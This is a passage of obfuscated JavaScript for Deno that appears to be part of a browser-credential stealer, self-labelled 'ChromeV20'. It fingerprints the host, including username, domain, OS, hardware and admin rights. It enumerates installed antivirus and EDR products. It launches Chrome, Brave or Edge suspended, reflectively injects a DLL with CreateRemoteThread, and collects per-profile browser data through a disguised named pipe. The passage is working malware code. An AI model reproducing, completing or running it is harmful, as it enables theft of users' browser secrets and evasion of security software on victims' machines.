const _0x1c15 = 256,
_0x4ffd3 = new Uint16Array(_0x1c15),
_0x316a4 = new Uint32Array([_0x1c15]),
_0x1e4 = kernel324["symbols"]["GetComputerNameExW"](2, _0x4ffd3, _0x316a4);
if (_0x1e4 !== 0 && _0x316a4[0] > 0) {
const _0x3222f2 = new TextDecoder("utf-16le"),
_0x3108b3 = _0x3222f2["decode"](new Uint8Array(_0x4ffd3["buffer"], 0, _0x316a4[0] * 2));
return _0x3108b3 ? _0x3108b3 : void 0;
}
} catch (_0x80f5f2) {
console["warn"]("Failed to get domain:", _0x80f5f2);
}
return void 0;
}
function isServerEdition(_0x420a2) {
const _0x1698de2 = potato,
_0x4c2 = [7, 8, 12, 19, 37, 41, 61, 62, 18, 36, 40, 60];
return _0x4c2["includes"](_0x420a2);
}
function getProductName(_0x21b85a3) {
const _0x24261e2 = potato,
_0x544f0d3 = {
48: "Professional",
49: "Professional N",
103: "Professional with Media Center",
101: "Home",
99: "Home Premium",
98: "Home Premium N",
100: "Home Basic",
5: "Home Basic N",
4: "Enterprise",
70: "Enterprise N",
39: "Enterprise E",
27: "Ultimate",
28: "Ultimate N",
121: "Education",
122: "Education N",
6: "Business",
16: "Business N",
257: "Home Single Language",
152: "Home China",
7: "Standard",
8: "Datacenter",
12: "Enterprise",
19: "Web",
37: "Standard (Core)",
41: "Web (Core)",
61: "Standard (Nano)",
62: "Datacenter (Nano)",
18: "Storage",
36: "Datacenter (Core)",
40: "Enterprise (Core)",
60: "Essentials"
};
return _0x544f0d3[_0x21b85a3];
}
function getOsName() {
const _0x1a103b2 = potato;
if (!ntdll || !kernel324) return void 0;
try {
const _0x1a56e4 = new Uint8Array(284),
_0x149dba6 = new DataView(_0x1a56e4["buffer"]);
_0x149dba6["setUint32"](0, 284, !![]);
const _0x56671d3 = ntdll["symbols"]["RtlGetVersion"](_0x1a56e4);
if (_0x56671d3 === 0) {
const _0x17980e5 = _0x149dba6["getUint32"](4, !![]),
_0xb62c4 = _0x149dba6["getUint32"](8, !![]),
_0x38b88f5 = _0x149dba6["getUint32"](12, !![]),
_0x5e5da3 = new Uint32Array(1);
kernel324["symbols"]["GetProductInfo"](_0x17980e5, _0xb62c4, 0, 0, _0x5e5da3);
const _0x5e145f4 = _0x5e5da3[0],
_0x32e11 = isServerEdition(_0x5e145f4);
let _0x2b70e10;
if (_0x17980e5 === 10) {
if (_0x32e11) {
if (_0x38b88f5 >= 20348) _0x2b70e10 = "Windows Server 2022";
else _0x38b88f5 >= 17763 ? _0x2b70e10 = "Windows Server 2019" : _0x2b70e10 = "Windows Server 2016";
} else _0x38b88f5 >= 22000 ? _0x2b70e10 = "Windows 11" : _0x2b70e10 = "Windows 10";
} else {
if (_0x17980e5 === 6) {
if (_0x32e11) {
const _0x345 = {
3: "Windows Server 2012 R2",
2: "Windows Server 2012",
1: "Windows Server 2008 R2",
0: "Windows Server 2008"
};
_0x2b70e10 = _0x345[_0xb62c4] || "Windows Server";
} else {
const _0x3f9fa2 = {
3: "Windows 8.1",
2: "Windows 8",
1: "Windows 7",
0: "Windows Vista"
};
_0x2b70e10 = _0x3f9fa2[_0xb62c4] || "Windows";
}
} else _0x2b70e10 = _0x32e11 ? "Windows Server" : "Windows";
}
const _0x1f6da3 = getProductName(_0x5e145f4);
return _0x1f6da3 ? _0x2b70e10 + " " + _0x1f6da3 : _0x2b70e10;
}
} catch (_0x2a20ca3) {
console["warn"]("Failed to get OS name:", _0x2a20ca3);
}
return void 0;
}
function getOsVersion() {
const _0x3e630a2 = potato;
if (!ntdll) return void 0;
try {
const _0x4d90d3 = new Uint8Array(284),
_0x548b5 = new DataView(_0x4d90d3["buffer"]);
_0x548b5["setUint32"](0, 284, !![]);
const _0x34838a3 = ntdll["symbols"]["RtlGetVersion"](_0x4d90d3);
if (_0x34838a3 === 0) {
const _0x3f9e2 = _0x548b5["getUint32"](4, !![]),
_0x8ffc9c3 = _0x548b5["getUint32"](8, !![]),
_0x4a2 = _0x548b5["getUint32"](12, !![]);
return _0x3f9e2 + "." + _0x8ffc9c3 + "." + _0x4a2;
}
} catch (_0x5270de3) {
console["warn"]("Failed to get OS version:", _0x5270de3);
}
return void 0;
}
function getOsBuild() {
const _0x346 = potato;
try {
return import_node_os2["default"]["release"]();
} catch {
return void 0;
}
}
function getCpus() {
const _0x28c30d2 = potato;
try {
const _0x348 = import_node_os2["default"]["cpus"](),
_0x3f498d3 = [...new Set(_0x348["map"](_0x55b19a3 => _0x55b19a3["model"]["trim"]()["replace"](/\0/g, "")))];
return _0x3f498d3;
} catch {
return [];
}
}
async function getGpus() {
const _0x298aa = potato;
try {
const {
stdout: _0x8a9b7c3
} = await execAsync("powershell -Command \"Get-WmiObject -Class Win32_VideoController | Select-Object -Property Name | Format-List -Property Name | Out-String\""),
_0xbf504a4 = [];
for (const _0x12a2 of _0x8a9b7c3["split"]("\n")) {
const _0x28ed1a4 = _0x12a2["trim"]();
if (_0x28ed1a4["startsWith"]("Name :")) {
const _0x351 = _0x28ed1a4["replace"]("Name :", "")["trim"]();
_0x351 && _0xbf504a4["push"](_0x351);
}
}
return _0xbf504a4;
} catch {
return [];
}
}
function getRamMb() {
const _0x3a10 = potato;
try {
return Math["floor"](import_node_os2["default"]["totalmem"]() / 1024 / 1024);
} catch {
return 0;
}
}
function getAvs() {
const _0x18043c2 = potato,
_0x18b33c3 = [
["C:\\Program Files\\Windows Defender", "Microsoft Defender Antivirus"],
["C:\\Program Files\\Windows Defender Advanced Threat Protection", "Microsoft Defender for Endpoint"],
["C:\\Program Files\\Microsoft Defender ATP", "Microsoft Defender for Endpoint"],
["C:\\ProgramData\\Microsoft\\Windows Defender", "Microsoft Defender Antivirus"],
["C:\\Program Files\\Kaspersky Lab", "Kaspersky"],
["C:\\Program Files\\Kaspersky", "Kaspersky"],
["C:\\Program Files\\ESET", "ESET"],
["C:\\Program Files (x86)\\ESET", "ESET"],
["C:\\Program Files\\Norton", "Norton"],
["C:\\Program Files\\Symantec", "Symantec (Broadcom)"],
["C:\\Program Files\\McAfee", "McAfee"],
["C:\\Program Files\\Trend Micro", "Trend Micro"],
["C:\\Program Files\\Bitdefender", "Bitdefender"],
["C:\\Program Files\\Avast Software", "Avast"],
["C:\\Program Files\\AVG", "AVG"],
["C:\\ProgramData\\Avast", "Avast"],
["C:\\Program Files\\Sophos", "Sophos"],
["C:\\ProgramData\\Sophos", "Sophos"],
["C:\\Program Files\\CrowdStrike", "CrowdStrike Falcon"],
["C:\\ProgramData\\CrowdStrike", "CrowdStrike Falcon"],
["C:\\Program Files\\SentinelOne", "SentinelOne"],
["C:\\ProgramData\\SentinelOne", "SentinelOne"],
["C:\\Program Files\\VMware\\Carbon Black", "VMware Carbon Black"],
["C:\\Program Files\\Carbon Black", "Carbon Black"],
["C:\\ProgramData\\Carbon Black", "Carbon Black"],
["C:\\Program Files\\Cylance", "Cylance"],
["C:\\Program Files\\CylanceProtect", "Cylance Protect"],
["C:\\Program Files\\Cisco\\AMP", "Cisco AMP for Endpoints"],
["C:\\Program Files\\Cisco\\AMP for Endpoints", "Cisco AMP"],
["C:\\Program Files\\Malwarebytes", "Malwarebytes"],
["C:\\ProgramData\\Malwarebytes", "Malwarebytes"],
["C:\\Program Files\\Panda Security", "Panda Security"],
["C:\\Program Files\\F-Secure", "F-Secure"],
["C:\\Program Files\\Comodo", "Comodo"]
],
_0x77dc4 = [];
try {
const _0x3a12 = typeof Deno !== "undefined" ? Deno : require("node:fs");
for (const [_0x3a0e3, _0x1b49f3] of _0x18b33c3) {
try {
typeof Deno !== "undefined" ? (Deno["statSync"](_0x3a0e3), _0x77dc4["push"](_0x1b49f3)) : (_0x3a12["statSync"](_0x3a0e3), _0x77dc4["push"](_0x1b49f3));
} catch {}
}
const _0x1749b3 = [...new Set(_0x77dc4)];
return _0x1749b3["length"] > 0 ? _0x1749b3 : void 0;
} catch {
return void 0;
}
}
function isElevated() {
const _0x21a4cf2 = potato;
if (!advapi32 || !kernel324) return void 0;
try {
const _0x21b5ef3 = 8,
_0x353 = 20,
_0x3fac2d3 = kernel324["symbols"]["GetCurrentProcess"](),
_0x25a2f3 = new Uint8Array(8),
_0x1c09f2 = advapi32["symbols"]["OpenProcessToken"](_0x3fac2d3, _0x21b5ef3, _0x25a2f3);
if (_0x1c09f2 === 0) return void 0;
const _0x3146e2 = new DataView(_0x25a2f3["buffer"]),
_0x32fae3 = Deno["UnsafePointer"]["create"](_0x3146e2["getBigUint64"](0, !![])),
_0x55e00a4 = new Uint32Array(1),
_0x5dfd4d3 = new Uint32Array(1),
_0x56bf3d3 = advapi32["symbols"]["GetTokenInformation"](_0x32fae3, _0x353, _0x55e00a4, 4, _0x5dfd4d3);
kernel324["symbols"]["CloseHandle"](_0x32fae3);
if (_0x56bf3d3 !== 0) return _0x55e00a4[0] !== 0;
} catch (_0x262e2) {
console["warn"]("Failed to check elevation:", _0x262e2);
}
return void 0;
}
function isAdmin() {
const _0x3ef = potato;
if (!advapi32 || !kernel324) return void 0;
try {
const _0x487abf3 = 8,
_0x59851d4 = 2,
_0x58253c3 = new Uint8Array([0, 0, 0, 0, 0, 5]),
_0x3083c2 = kernel324["symbols"]["GetCurrentProcess"](),
_0x37e3 = new Uint8Array(8),
_0x1ff14f3 = advapi32["symbols"]["OpenProcessToken"](_0x3083c2, _0x487abf3, _0x37e3);
if (_0x1ff14f3 === 0) return void 0;
const _0x2b451f3 = new DataView(_0x37e3["buffer"]),
_0x7d5da8 = Deno["UnsafePointer"]["create"](_0x2b451f3["getBigUint64"](0, !![])),
_0x4ef3 = new Uint8Array(8),
_0x1ae8e2 = advapi32["symbols"]["AllocateAndInitializeSid"](_0x58253c3, 2, 32, 544, 0, 0, 0, 0, 0, 0, _0x4ef3);
if (_0x1ae8e2 === 0) return kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0;
const _0x15a2 = new DataView(_0x4ef3["buffer"]),
_0x9a6eb5 = Deno["UnsafePointer"]["create"](_0x15a2["getBigUint64"](0, !![])),
_0x3fce0b5 = new Uint32Array(1);
advapi32["symbols"]["GetTokenInformation"](_0x7d5da8, _0x59851d4, new Uint8Array(0), 0, _0x3fce0b5);
const _0x12039b5 = _0x3fce0b5[0];
if (_0x12039b5 === 0) return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0;
const _0x5d3a1e4 = new Uint8Array(_0x12039b5),
_0x519ae2 = advapi32["symbols"]["GetTokenInformation"](_0x7d5da8, _0x59851d4, _0x5d3a1e4, _0x12039b5, _0x3fce0b5);
if (_0x519ae2 === 0) return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), void 0;
const _0x4830f3 = new DataView(_0x5d3a1e4["buffer"]),
_0x5024ea3 = _0x4830f3["getUint32"](0, !![]);
let _0x506de3 = ![];
for (let _0x283f4 = 0; _0x283f4 < _0x5024ea3; _0x283f4++) {
const _0x3c0 = 8 + _0x283f4 * 16,
_0xa4919a3 = _0x4830f3["getBigUint64"](_0x3c0, !![]),
_0x2c31c3 = Deno["UnsafePointer"]["create"](_0xa4919a3),
_0x41b94e3 = advapi32["symbols"]["EqualSid"](_0x2c31c3, _0x9a6eb5);
if (_0x41b94e3 !== 0) {
_0x506de3 = !![];
break;
}
}
return advapi32["symbols"]["FreeSid"](_0x9a6eb5), kernel324["symbols"]["CloseHandle"](_0x7d5da8), _0x506de3;
} catch (_0x355) {
console["warn"]("Failed to check admin rights:", _0x355);
}
return void 0;
}
async function getSystemInfo() {
const _0x5db2e = potato,
_0x2e831d3 = getUsername(),
_0x20ee1d3 = getHostname(),
_0x6566a4 = getDomain(),
_0x29ee2 = getOsName(),
_0x186c2 = getOsVersion(),
_0x197c2 = getOsBuild(),
_0x3276f2 = import_node_os2["default"]["platform"](),
_0x12329a3 = import_node_os2["default"]["type"](),
_0x58c2 = import_node_os2["default"]["release"](),
_0x357 = getCpus(),
_0x2c23 = _0x6566a4 ? [] : await getGpus(),
_0x49ba2 = getRamMb(),
_0x39277f3 = getAvs(),
_0x197d2f3 = isElevated(),
_0x8bc6d2 = isAdmin();
return {
"username": _0x2e831d3,
"hostname": _0x20ee1d3,
"domain": _0x6566a4,
"osName": _0x29ee2,
"osVersion": _0x186c2,
"osBuild": _0x197c2,
"platform": _0x3276f2,
"osType": _0x12329a3,
"osRelease": _0x58c2,
"cpus": _0x357,
"gpus": _0x2c23,
"ramMb": _0x49ba2,
"avs": _0x39277f3,
"runningAsAdmin": _0x197d2f3,
"hasAdminRights": _0x8bc6d2
};
}
var SUPPORTED_BROWSERS = [{
"name": "chrome",
"displayName": "Chrome",
"exeName": "chrome.exe",
"paths": ["C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"]
}, {
"name": "brave",
"displayName": "Brave",
"exeName": "brave.exe",
"paths": ["C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"]
}, {
"name": "edge",
"displayName": "Edge",
"exeName": "msedge.exe",
"paths": ["C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"]
}],
COMPLETION_SIGNAL = "__DLL_PIPE_COMPLETION_SIGNAL__",
DLL_TIMEOUT_MS = 60000,
DRAIN_TIME_MS = 500,
MEM_COMMIT = 4096,
MEM_RESERVE = 8192,
MEM_RELEASE = 32768,
PAGE_READWRITE = 4,
PAGE_EXECUTE_READ = 32,
CREATE_SUSPENDED = 4,
PIPE_ACCESS_DUPLEX = 3,
PIPE_TYPE_MESSAGE = 4,
PIPE_READMODE_MESSAGE = 2,
PIPE_WAIT = 0,
kernel325 = null;
function initFFI2() {
const _0x2ea4f = potato;
if (kernel325) return;
try {
kernel325 = Deno["dlopen"]("kernel32.dll", {
"CreateProcessW": {
"parameters": ["pointer", "pointer", "pointer", "pointer", "i32", "u32", "pointer", "pointer", "pointer", "pointer"],
"result": "i32"
},
"CreateNamedPipeW": {
"parameters": ["pointer", "u32", "u32", "u32", "u32", "u32", "u32", "pointer"],
"result": "pointer"
},
"ConnectNamedPipe": {
"parameters": ["pointer", "pointer"],
"result": "i32"
},
"ReadFile": {
"parameters": ["pointer", "pointer", "u32", "pointer", "pointer"],
"result": "i32"
},
"WriteFile": {
"parameters": ["pointer", "pointer", "u32", "pointer", "pointer"],
"result": "i32"
},
"PeekNamedPipe": {
"parameters": ["pointer", "pointer", "u32", "pointer", "pointer", "pointer"],
"result": "i32"
},
"VirtualAllocEx": {
"parameters": ["pointer", "pointer", "u64", "u32", "u32"],
"result": "pointer"
},
"VirtualProtectEx": {
"parameters": ["pointer", "pointer", "u64", "u32", "pointer"],
"result": "i32"
},
"VirtualFreeEx": {
"parameters": ["pointer", "pointer", "u64", "u32"],
"result": "i32"
},
"WriteProcessMemory": {
"parameters": ["pointer", "pointer", "pointer", "u64", "pointer"],
"result": "i32"
},
"CreateRemoteThread": {
"parameters": ["pointer", "pointer", "u64", "pointer", "pointer", "u32", "pointer"],
"result": "pointer"
},
"TerminateProcess": {
"parameters": ["pointer", "u32"],
"result": "i32"
},
"WaitForSingleObject": {
"parameters": ["pointer", "u32"],
"result": "u32"
},
"GetExitCodeProcess": {
"parameters": ["pointer", "pointer"],
"result": "i32"
},
"CloseHandle": {
"parameters": ["pointer"],
"result": "i32"
},
"GetTickCount": {
"parameters": [],
"result": "u32"
},
"GetLastError": {
"parameters": [],
"result": "u32"
},
"Sleep": {
"parameters": ["u32"],
"result": "void"
}
});
} catch (_0x15e0a2) {
console["error"]("[ChromeV20] Failed to initialize FFI:", _0x15e0a2);
}
}
function isProcessAlive(_0x5d477a3) {
const _0x23f3 = potato;
if (!kernel325) return ![];
const _0x15e4fb4 = new Uint8Array(4),
_0x21005b3 = kernel325["symbols"]["GetExitCodeProcess"](_0x5d477a3, Deno["UnsafePointer"]["of"](_0x15e4fb4));
if (_0x21005b3 === 0) return console["log"]("[ChromeV20] Failed to get process exit code"), ![];
const _0x3d4 = new DataView(_0x15e4fb4["buffer"])["getUint32"](0, !![]);
return _0x3d4 === 259;
}
function toWideString2(_0x24aac7) {
const _0x166c = potato,
_0x13be3d4 = new ArrayBuffer((_0x24aac7["length"] + 1) * 2),
_0x2a6 = new Uint8Array(_0x13be3d4);
for (let _0x506ec7 = 0; _0x506ec7 < _0x24aac7["length"]; _0x506ec7++) {
const _0xd5 = _0x24aac7["charCodeAt"](_0x506ec7);
_0x2a6[_0x506ec7 * 2] = _0xd5 & 255, _0x2a6[_0x506ec7 * 2 + 1] = _0xd5 >> 8 & 255;
}
return _0x2a6[_0x24aac7["length"] * 2] = 0, _0x2a6[_0x24aac7["length"] * 2 + 1] = 0, _0x13be3d4;
}
function generatePipeName(_0x38f2) {
const _0xb0342e2 = potato,
_0x90c5b5 = Deno["pid"],
_0x82499d5 = kernel325["symbols"]["GetTickCount"](),
_0x4f13 = (_0x90c5b5 ^ _0x82499d5) & 65535,
_0x76e5b0 = (_0x90c5b5 >> 16 ^ _0x82499d5 >> 16) & 65535,
_0x4b66c7 = (_0x90c5b5 << 8 ^ _0x82499d5) & 65535;
let _0x6b4b6;
switch (_0x38f2["toLowerCase"]()) {
case "chrome": {
const _0x164dcf3 = ["chrome.sync." + _0x4f13 + "." + _0x76e5b0 + "." + _0x4b66c7["toString"](16)["padStart"](4, "0"), "chrome.nacl." + _0x4f13 + "_" + _0x4b66c7["toString"](16)["padStart"](4, "0"), "mojo." + _0x4f13 + "." + _0x76e5b0 + "." + _0x4b66c7["toString"](16)["padStart"](4, "0") + ".chrome"];
_0x6b4b6 = _0x164dcf3[(_0x4f13 + _0x76e5b0) % 3];
break;
}
case "edge": {
const _0x28e5dc3 = ["msedge.sync." + _0x4f13 + "." + _0x76e5b0, "msedge.crashpad." + _0x4f13 + "_" + _0x4b66c7["toString"](16)["padStart"](4, "0"), "LOCAL\\msedge_" + _0x4f13];
_0x6b4b6 = _0x28e5dc3[(_0x76e5b0 + _0x4b66c7) % 3];
break;
}
case "brave": {
const _0x359 = ["brave.sync." + _0x4f13 + "." + _0x76e5b0, "mojo." + _0x4f13 + "." + _0x76e5b0 + ".brave", "brave.crashpad_" + _0x4f13];
_0x6b4b6 = _0x359[_0x4b66c7 % 3];
break;
}
default:
_0x6b4b6 = "chromium.ipc." + _0x4f13 + "." + _0x76e5b0;
}
return "\\\\.\\pipe\\" + _0x6b4b6;
}
function findBrowserPath(_0x5ef2e2) {
for (const _0x4c063e4 of _0x5ef2e2["paths"]) {
try {
return Deno["statSync"](_0x4c063e4), _0x4c063e4;
} catch {}
}
return null;
}
function findInstalledBrowsers() {
const _0x4beed = potato,
_0xec540e4 = [];
for (const _0x2341e4 of SUPPORTED_BROWSERS) {
const _0x5317cc5 = findBrowserPath(_0x2341e4);
_0x5317cc5 && (console["log"]("[ChromeV20] Found " + _0x2341e4["displayName"] + " at: " + _0x5317cc5), _0xec540e4["push"]([_0x2341e4, _0x5317cc5]));
}
return _0xec540e4;
}
function createSuspendedProcess(_0x361) {
const _0x3e8ca = potato;
if (!kernel325) return null;
const _0x3bb6e2 = toWideString2(_0x361),
_0x364 = new ArrayBuffer(104),
_0x1baaae3 = new Uint8Array(_0x364),
_0x441f2 = new DataView(_0x364);
_0x441f2["setUint32"](0, 104, !![]);
const _0x52f3 = new ArrayBuffer(24),
_0xff23c2 = new Uint8Array(_0x52f3),
_0x5e5ebf3 = kernel325["symbols"]["CreateProcessW"](null, Deno["UnsafePointer"]["of"](_0x3bb6e2), null, null, 0, CREATE_SUSPENDED, null, null, Deno["UnsafePointer"]["of"](_0x1baaae3), Deno["UnsafePointer"]["of"](_0xff23c2));
if (_0x5e5ebf3 === 0) {
const _0x1d2d2 = kernel325["symbols"]["GetLastError"]();
return console["error"]("[ChromeV20] Failed to create suspended process: " + _0x1d2d2), null;
}
const _0x44a4ce5 = new DataView(_0x52f3),
_0x3ff2 = _0x44a4ce5["getBigUint64"](0, !![]),
_0x31337b3 = _0x44a4ce5["getBigUint64"](8, !![]),
_0x129c3 = _0x44a4ce5["getUint32"](16, !![]);
return console["log"]("[ChromeV20] Suspended process created (PID: " + _0x129c3 + ")"), {
"hProcess": Deno["UnsafePointer"]["create"](_0x3ff2),
"hThread": Deno["UnsafePointer"]["create"](_0x31337b3),
"dwProcessId": _0x129c3
};
}
function findReflectiveLoaderOffset(_0x24f0b10) {
const _0x26d5 = potato;
if (_0x24f0b10["length"] < 64) return console["error"]("[ChromeV20] DLL too small"), null;
const _0x3f19 = new DataView(_0x24f0b10["buffer"]),
_0x8f2 = _0x3f19["getUint16"](0, !![]);
if (_0x8f2 !== 23117) return console["error"]("[ChromeV20] Invalid DOS signature"), null;
const _0x4d698c8 = _0x3f19["getUint32"](60, !![]);
if (_0x4d698c8 + 264 > _0x24f0b10["length"]) return console["error"]("[ChromeV20] Invalid PE header offset"), null;
const _0x47503d3 = _0x3f19["getUint32"](_0x4d698c8, !![]);
if (_0x47503d3 !== 17744) return console["error"]("[ChromeV20] Invalid PE signature"), null;
const _0x368 = _0x3f19["getUint16"](_0x4d698c8 + 6, !![]),
_0x5c03c2 = _0x3f19["getUint16"](_0x4d698c8 + 20, !![]),
_0x473f2 = _0x4d698c8 + 24 + _0x5c03c2,
_0x24b5f4 = _0x3f19["getUint32"](_0x4d698c8 + 24 + 112, !![]);
if (_0x24b5f4 === 0) return console["error"]("[ChromeV20] No export directory"), null;
const _0x379 = _0x3be59c5 => {
const _0x367 = _0x26d5;
for (let _0x48de6f5 = 0; _0x48de6f5 < _0x368; _0x48de6f5++) {
const _0x3c8f5 = _0x473f2 + _0x48de6f5 * 40;
if (_0x3c8f5 + 40 > _0x24f0b10["length"]) continue;
const _0x9bd4 = _0x3f19["getUint32"](_0x3c8f5 + 12, !![]),
_0x2c705e3 = _0x3f19["getUint32"](_0x3c8f5 + 8, !![]),
_0xb2c90a3 = _0x3f19["getUint32"](_0x3c8f5 + 20, !![]);
if (_0x3be59c5 >= _0x9bd4 && _0x3be59c5 < _0x9bd4 + _0x2c705e3) return _0xb2c90a3 + (_0x3be59c5 - _0x9bd4);
}
return null;
},
_0x3baa7 = _0x379(_0x24b5f4);
if (_0x3baa7 === null || _0x3baa7 + 40 > _0x24f0b10["length"]) return console["error"]("[ChromeV20] Export directory out of bounds"), null;
const _0x362bde3 = _0x3f19["getUint32"](_0x3baa7 + 24, !![]),
_0x3ebb2 = _0x3f19["getUint32"](_0x3baa7 + 32, !![]),
_0x28f2 = _0x3f19["getUint32"](_0x3baa7 + 36, !![]),
_0xc8f3b3 = _0x3f19["getUint32"](_0x3baa7 + 28, !![]),
_0x6adb3 = _0x379(_0x3ebb2),
_0x289aeb4 = _0x379(_0x28f2),
_0x135ca3 = _0x379(_0xc8f3b3);
if (!_0x6adb3 || !_0x289aeb4 || !_0x135ca3) return console["error"]("[ChromeV20] Failed to convert export table RVAs"), null;
for (let _0x2907b6 = 0; _0x2907b6 < _0x362bde3; _0x2907b6++) {
const _0x3a10a3 = _0x6adb3 + _0x2907b6 * 4;
if (_0x3a10a3 + 4 > _0x24f0b10["length"]) continue;
const _0x3e5a2 = _0x3f19["getUint32"](_0x3a10a3, !![]),
_0x3f366f5 = _0x379(_0x3e5a2);
if (_0x3f366f5 !== null && _0x3f366f5 < _0x24f0b10["length"]) {
let _0xaa756c4 = "";
for (let _0x378 = _0x3f366f5; _0x378 < _0x24f0b10["length"] && _0x24f0b10[_0x378] !== 0; _0x378++) {
_0xaa756c4 += String["fromCharCode"](_0x24f0b10[_0x378]);
}
if (_0xaa756c4 === "ReflectiveLoader") {
console["log"]("[ChromeV20] Found ReflectiveLoader export");
const _0x3d6 = _0x289aeb4 + _0x2907b6 * 2,
_0x1da18f3 = _0x3f19["getUint16"](_0x3d6, !![]),
_0x127f7a3 = _0x135ca3 + _0x1da18f3 * 4,
_0xa2571d3 = _0x3f19["getUint32"](_0x127f7a3, !![]),
_0x3c7e4 = _0x379(_0xa2571d3);
if (_0x3c7e4 !== null) return console["log"]("[ChromeV20] ReflectiveLoader offset: 0x" + _0x3c7e4["toString"](16)), _0x3c7e4;
}
}
}
return console["error"]("[ChromeV20] ReflectiveLoader export not found"), null;
}
function injectDll(_0x190c0, _0x10e67b3, _0x5ae10) {
const _0x125c = potato;
if (!kernel325) return ![];
const _0x2a62cb5 = findReflectiveLoaderOffset(_0x5ae10);
if (_0x2a62cb5 === null) return console["error"]("[ChromeV20] Failed to find ReflectiveLoader"), ![];
const _0x91a3a5 = toWideString2(_0x10e67b3),
_0x383 = BigInt(_0x5ae10["length"] + _0x91a3a5["byteLength"]);
console["log"]("[ChromeV20] Allocating " + _0x383 + " bytes in target process");
const _0x37cbb1 = kernel325["symbols"]["VirtualAllocEx"](_0x190c0, null, _0x383, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!_0x37cbb1 || Deno["UnsafePointer"]["value"](_0x37cbb1) === 0x0n) return console["error"]("[ChromeV20] Failed to allocate memory"), ![];
const _0x279f5 = Deno["UnsafePointer"]["value"](_0x37cbb1);
console["log"]("[ChromeV20] Memory allocated at: 0x" + _0x279f5["toString"](16));
const _0x53c3 = new Uint8Array(8),
_0x24fa3 = new Uint8Array(new ArrayBuffer(_0x5ae10["length"]));
_0x24fa3["set"](_0x5ae10);
let _0x5a295b7 = kernel325["symbols"]["WriteProcessMemory"](_0x190c0, _0x37cbb1, Deno["UnsafePointer"]["of"](_0x24fa3), BigInt(_0x5ae10["length"]), Deno["UnsafePointer"]["of"](_0x53c3));
if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to write DLL"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![];
console["log"]("[ChromeV20] DLL written (" + _0x5ae10["length"] + " bytes)");
const _0x4b3d3 = Deno["UnsafePointer"]["create"](_0x279f5 + BigInt(_0x5ae10["length"]));
_0x5a295b7 = kernel325["symbols"]["WriteProcessMemory"](_0x190c0, _0x4b3d3, Deno["UnsafePointer"]["of"](_0x91a3a5), BigInt(_0x91a3a5["byteLength"]), Deno["UnsafePointer"]["of"](_0x53c3));
if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to write pipe name"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![];
console["log"]("[ChromeV20] Pipe name written");
const _0x3a14 = new Uint8Array(4);
_0x5a295b7 = kernel325["symbols"]["VirtualProtectEx"](_0x190c0, _0x37cbb1, _0x383, PAGE_EXECUTE_READ, Deno["UnsafePointer"]["of"](_0x3a14));
if (_0x5a295b7 === 0) return console["error"]("[ChromeV20] Failed to change memory protection"), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![];
console["log"]("[ChromeV20] Memory protection changed");
const _0x1a4 = Deno["UnsafePointer"]["create"](_0x279f5 + BigInt(_0x2a62cb5));
console["log"]("[ChromeV20] Creating remote thread at: 0x" + (_0x279f5 + BigInt(_0x2a62cb5))["toString"](16));
const _0x23cfd4 = kernel325["symbols"]["CreateRemoteThread"](_0x190c0, null, 0x0n, _0x1a4, _0x4b3d3, 0, null);
if (!_0x23cfd4 || Deno["UnsafePointer"]["value"](_0x23cfd4) === 0x0n) {
const _0x4f5b2 = kernel325["symbols"]["GetLastError"]();
return console["error"]("[ChromeV20] Failed to create remote thread: " + _0x4f5b2), kernel325["symbols"]["VirtualFreeEx"](_0x190c0, _0x37cbb1, 0x0n, MEM_RELEASE), ![];
}
return console["log"]("[ChromeV20] Remote thread created"), kernel325["symbols"]["CloseHandle"](_0x23cfd4), !![];
}
function writeToPipe(_0x4e1b2, _0x93ca2) {
const _0xb5774a2 = potato;
if (!kernel325) return ![];
const _0x480bb4 = new TextEncoder()["encode"](_0x93ca2 + "\0"),
_0x2fb0d2 = new Uint8Array(4),
_0x46c1f2 = kernel325["symbols"]["WriteFile"](_0x4e1b2, Deno["UnsafePointer"]["of"](_0x480bb4), _0x480bb4["length"], Deno["UnsafePointer"]["of"](_0x2fb0d2), null);
return _0x46c1f2 !== 0;
}
function parseFileData(_0x11c3) {
const _0x2654ec2 = potato;
if (!_0x11c3["includes"]("__FILE_START__")) return null;
let _0x2f2f4e5 = "",
_0x2fc0a3 = "",
_0x386 = "",
_0x225d3 = 0,
_0x5abca4 = "",
_0xcf7f4 = ![];
for (const _0xd39d10 of _0x11c3["split"]("\n")) {
if (_0xd39d10["startsWith"]("BROWSER:")) _0x2f2f4e5 = _0xd39d10["substring"](8);
else {
if (_0xd39d10["startsWith"]("PROFILE:")) _0x2fc0a3 = _0xd39d10["substring"](8);
else {
if (_0xd39d10["startsWith"]("TYPE:")) _0x386 = _0xd39d10["substring"](5);
else {
if (_0xd39d10["startsWith"]("COUNT:")) _0x225d3 = parseInt(_0xd39d10["substring"](6)) || 0;
else {
if (_0xd39d10 === "__JSON_START__") _0xcf7f4 = !![];
else {
if (_0xd39d10 === "__JSON_END__") _0xcf7f4 = ![];
else _0xcf7f4 && (_0x5abca4 += _0xd39d10 + "\n");
}
}
}
}
}
}
if (_0x2f2f4e5 && _0x5abca4) return {
"browser": _0x2f2f4e5,
"profile": _0x2fc0a3,
"fileType": _0x386,
"count": _0x225d3,
"jsonData": _0x5abca4
};
return null;
}
function isPipeConnected(_0x1ec71e3) {
const _0x5104e = potato;
if (!kernel325) return ![];
const _0x5f141a3 = new Uint8Array(4),
